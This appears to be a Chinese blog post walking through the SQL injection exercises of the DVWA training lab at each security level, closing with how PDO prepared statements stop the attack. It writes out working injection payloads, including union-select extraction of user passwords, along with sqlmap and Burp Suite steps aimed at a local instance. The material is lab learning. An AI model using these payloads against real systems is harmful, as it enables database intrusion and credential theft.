安全渗透学习-DVWA(SQL注入)

low:

手动注入:

判断注入点:

输入1,查询成功

输入1'进行查询,返回查询错误,判断对‘   未进行过滤处理

输入1 and 1=1查询

 输入1' or '1'='1,

遍历出了数据库中所有内容。

使用order by

来判断查询表的字段数

2 成功,3不成功

 

通过内置函数来获取关键信息

即是让内置查询函数代替当前的显示位。

version()  user()  database() 

1' union select version(),database()#

查询版本及当前数据库

可以看出目前使用的数据库为dvwa,数据库所有者dvwa@localhost

接下来我们爆表试试

在mysql数据库中还有一个information_schema数据库,这时候就要利用它啦!

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。

什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

获取表名

获取user表的列名

从user表里查询user,password

最后使用hash或者md5破解密码

法二:

查看cookie

使用sqlmap 自动注入工具

设置cookie

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"  --cookie="security=low; PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4"

存在注入

可以看到系统和服务器和数据库版本

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"  --cookie="security=low; PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4" --dbs

-d 指定数据库 --tables 查看表

--columns 查看列

-C 指定参数 --dump 拉取数据

Med:

修改用户输入方式,不能在web手动输入

 另外就是发送请求后,消息头变为post模式

使用BP抓包,

 修改id参数重新发包

1' union select version(),database()#

请求失败

使用id =1 or 1=1#请求成功

猜测过滤了‘  参数,说明注入属于数字型

查看源码:

增加了

mysqli_real_escape_string函数

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

\x00    \n    \r

\    ’   "      \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。>

输入 2 order by 2#测试可以看出字段有两个

然后测试方法和上相同

2 union select 1 ,database()#

查看数据库为dvwa

剩余步骤和low一样

使用sqlmap工具

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/"  --cookie="security=medium; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch 

失败

由bP抓取的数据包分析,发送数据包为id=1---,可尝试增加data字段

尝试

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/"  --cookie="security=medium; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit"

其余攻击步骤和LOW相同

High:

用户需要点击连接然后跳转进行输入

查看源码:

可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样

1' or 1=1 union select  group_concat(user_id,first_name,last_name),group_concat(password) from  users#

High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

因为页面发生了跳转,使用sqlmap时,不能像MED级别时的方法

可以看到,这是从/session-input.php来的要去到我们之前的页面

/DVWA-1.9/vulnerabilities/sqli/

使用sqlmap

在同一个sqlmap操作命令中就需要包含这2个不同页面的url和其他关键信息,此时利用第一步需求分析中所提及的联合非常规的操作命令--second-url="xxxurl"一起尝试测试

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php"  --cookie="security=high; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/"

后续步骤与low相同

impossibe:

源码

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为1时,才会成功输出。

PDO(PHP Data Objects)是一种在PHP里连接数据库的使用接口。PDO与mysqli曾经被建议用来取代原本PHP在用的mysql相关函数,基于数据库使用的安全性,因为后者欠缺对于SQL注入的防护。

参考: <https://blog.csdn.net/qq_43452198/article/details/89355817?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearch_pc_relevant>

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值